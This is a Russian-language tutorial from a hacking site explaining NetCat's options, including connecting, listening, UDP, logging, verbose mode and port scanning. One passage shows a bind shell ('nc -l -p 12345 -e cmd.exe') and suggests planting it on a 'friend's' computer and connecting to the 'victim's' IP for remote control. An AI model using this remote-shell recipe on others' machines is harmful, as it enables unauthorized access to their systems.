NetCat лучший друг хакера или вся правда о пирочиных ножах — HackZona.Ru

NetCat лучший друг хакера или вся правда о пирочиных ножах

NetCat лучший друг хакера или вся правда о пирочиных ножах

Тип статьи:
Со старой ХакЗоны.
Источник:
NetCat одна из самых известных утилит для тестирования сетевых приложений. Поэтому я не мог пропустить эту чудесную тулзу из виду и не написать статью про самый лучший, на мой взгляд, инструмент для тестирования сетевых приложений.
Начнем пожалуй с того что с помощью nc можно тестировать все протоколы прикладного уровня модели OSI.(для тех кто не знает что это ru.wikipedia.org/wiki/Сетевая_модель_OSI). Да это не так уж и много и даже обидно что такая утилита не может на прямую работать с протоколами нижний уровней на подобие TCP или IP.
Но, увы, всего и сразу не бывает и может быть, если у меня будет настроения, я напишу, как работать с библиотекой pcap и вы сами сможете создать чудесное приложение для работы со стеком протоколов TCP/IP.
И так приступим к изучению NetCat с моей самой любимой команды help.
Набрав нашем обожаемом cmd строчку такого вида:
nc h вы увидите хелп.(это для тех кто вообще ничего не понимает было написано:-))
C:>nc -h
Первое что сразу же должно бросится нам в глаза это синтаксис ввода команд:
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
Разберем же его более подробно.
В первой строчке написан синтаксис для тестирования серверных приложений после непосредственного ввода команды nc мы должны указать опции которые будут рассмотрены ниже, далее нужный нам хост и порт(ы).
Во второй строчке написан синтаксис для тестирования клиентских приложений опция l обозначает включение режима прослушки определенного порта который мы указываем после опции p, далее идут дополнительные опции имя хоста и порт соединение с которыми мы ожидаем.
На сколько вы уже могли догадаться то что указано в квадратных скобках является необязательными параметрами. А это значит что netcat можно запустить в таком виде:
C:>nc 127.0.0.1 80
И соединится с 80 портом у нас на localhost. NetCat будет терпеливо и послушно ждать данных, которые мы хотим отправить на указанный порт данного сервера, а при нажатие на enter отправит их и так же терпеливо будет ждать ответ от сервера.
Ну например если ввести в cmd:
C:>nc google.ru 80 [CR][LF] (даже не думайте вводить www.google.ru это вам не браузер)
То NetCat соединится с 80 портом сервера google.ru и будет ждать ввода данных, которые мы хотим оправить. Введем туда запрос главной страницы www.google.ru (для тех кто не знаком с протоколом HTTP ru.wikipedia.org/wiki/HTTP)
GET / HTTP/1.0[CR][LF] [CR][LF](два раза нужно нажать enter)
Для особо непонятливых [CR][LF] это нажатие на кнопку enter:-)(ну не совсем, вообще то это признак конца строки).
И о чудо мы видим, что к нам пришел html код главной страницы www.google.ru.
Команду nc l p port мы рассмотрим подробней, так как она представляет большой интерес.
Написав в cmd:
C:>nc l p 12345
Мы запускаем у себя на компьютере небольшой сервер, который прослушивает порт 12345.
Таким образом, мы можем даже переписываться с друзьями вот таким вот не хитрым образом:
C:>nc l p 12345
Этой командой мы запустим у себя сервер.
C:>nc ваш_ip 12345
А этой командой пусть воспользуется ваш друг. И можете общается как True HaCKeRs.
Или можно сделать все на localhost и переписываться самому с собой (ну мало ли друзей нет в жизни одиноко).
Надеюсь, основы вы поняли! Но мы же люди с непостижимой тягой к знаниям, так что будем углубляется.
Опция e указывает на то какое приложение мы хотели бы запустить при коннекте к нашему серверу.
C:>nc l p 12345 e C:windowssystem32cmd.exe
Самое интересное в данной опции то, что весь ввод будет идти указанному приложению. А это значит что если мы запустим у «друга» команду указанную выше мы активируем удаленный шел и придя домой сможем свободно бродить у «друга в гостях»(если знаете основы работы с DOS).
Подключившись к нему таким вот образом:
C:>nc ip_жертвы 12345
Наверное, у некоторых встал вопрос, а может ли NetCat работать по UDP протоколу, вить все рассмотренное выше относится к TCP.Ответ однозначный и четкий да может! Для этого предназначена опция u которую просто нужно подставить:
nc l p 12345 u (прослушивает 12345 UDP порт)
nc u 127.0.0.1 12345 (подключается к 12345 UDP порту)
и вуаля мы уже работаем по UDP протоколу, что не может меня не радовать, так как люди часто забывают про него и его преимущества, хотя и недостатков у него хватает, но эта тема отдельной статьи.
Опция w указывает на количество времени, которое NetCat будет ждать ответа от сервера. Ну скажем если мы подключимся к серверу, а он нам не отвечает по каким либо причинам то приложение нужно будет заканчивать аварийно нажатием Ctrl+C, но опция w лишает нас этого недостатка и устанавливает время ожидания по окончанию которого связь с сервером будет прервана!
Опция o делает возможным сохранить в лог файл хекс дамп вашего соединения. Что бывает очень полезно при длительных анализах сетевых приложений, дабы вернутся и посмотреть, если что то неожиданно забыли :-) или просто нужно сохранить историю соединения в файл для дальнейшего анализа.
Допустим команда:
C:>nc o C:hexdump.txt pop.mail.ru 110
USER testuser[CR][LF]
PASS passuser[CR][LF]
RETR 1[CR][LF]
QUIT[CR][LF]
соединится с POP3 сервером mail.ru получит первое сообщение и выйдет сохранив историю соединения и сообщение в файл C:hexdump.txt. (подробней о работе с POP3 протоколом с подошью nc читайте мою статью «POP3 протокол или как работать с почтой при помощи пирочиного ножа»).
Опцию v я просто обожаю! Она выводит экран подробную информацию о соединение что несет громадную пользу при исследование! Впрочем, сами все увидите.
C:>nc v google.ru 80
Само собой разумеется, что эта чудесная опция тоже будет работать так:
C:>nс l p 12345 v
И расскажет вам кто и зачем к вам подключился!
Опция z очень помогает тогда когда вы знаете что такое циклы и как они работают.
При включение этой опции NetCat просто соединяется с указанным вами хостом и портом и и при включенной опции v воозврашает ответ что хост доступен, а порт открыт(или недоступен и закрыт) при этом разумеется он не ждет от вас ввода данных для отправки, а сразу закрывает соединение.
C:>nс v z google.ru 80
DNS fwd/rev mismatch: google.ru != gv-in-f104.1e100.net
DNS fwd/rev mismatch: google.ru != ew-in-f104.1e100.net
DNS fwd/rev mismatch: google.ru != ww-in-f104.1e100.net
google.ru [216.239.59.104] 80 (http) open
Но постойте! А что если порт не открыт или еще хуже хост недоступен? Что тогда? Вечно ждать ответа? Или по-быстрому создать сервер, что бы он ответил на заданный вопрос? Нет, просто задать уже знакомый нам ключик w.
А если данные будут отправляется слишком быстро? И сервер подумает что мы проводим ddos атаку? Но и тут коварный и ужасный NetCat придумал для нас опцию i, с помощью которой мы задаем число секунд, через которое NetCat должен посылать следующий запрос.
Опция n отключает DNS(и/или файл hosts) и поиск номеров портов в файле services.
(для ОС Windows C:WindowsSystem32driversetcservices
для *nic подобных ОС /etc/services)
Иногда это бывает полезным. Допустим, если некая программа изменила значение порта и его символьного представления.
Кажется, я забыл упомянуть о том, что номера портов не обязательно указывать как 80, можно указать как www. Номера портов и их символьное представление можно посмотреть в выше указанных файлах.
И наконец опция s задает ip адрес с которого мы бы хотели подключиться или на котором мы бы хотели ожидать подключения к нам. Это тоже бывает полезно в тех случаях, когда у вас два разных ip адреса, и вы бы хотели ждать подключения или же подключатся с указанного вами ip(при наличии пары сетевых платы или локальной сети где есть localhost,LANip,WANip это актуально). Надо всего-то указать ваш адрес:
C:>nс v s my_ip_addr google.ru 80
Подключится к google.ru с адреса my_ip_addr.
Я попытался рассмотреть наиболее общие опции для различных версия NetCat. Опцию t я подробно рассмотрел в моей статье «telnet .».
В заключение могу сказать что возможности NetCat не ограничиваются рамками этой статьи более того могу сказать его возможности в *nix подобных ОС почти не ограничены и с уверенным знанием протоколов и языка Shell, вы сможете написать очень мощные сетевые приложения. Кстати в поставку NetCat входят скрипы, показывающие его серьезные возможности! Не надо думать что NetCat не применим в ОС Windows, он также может там использоваться, просто возможности консоли данной ОС не так велики что не удивительно вить в Windows упор сделан на удобство, а значит графический интерфейс в данном случае не так уж и важней.

Нравится
Не нравится

1 комментарий

22:41
+5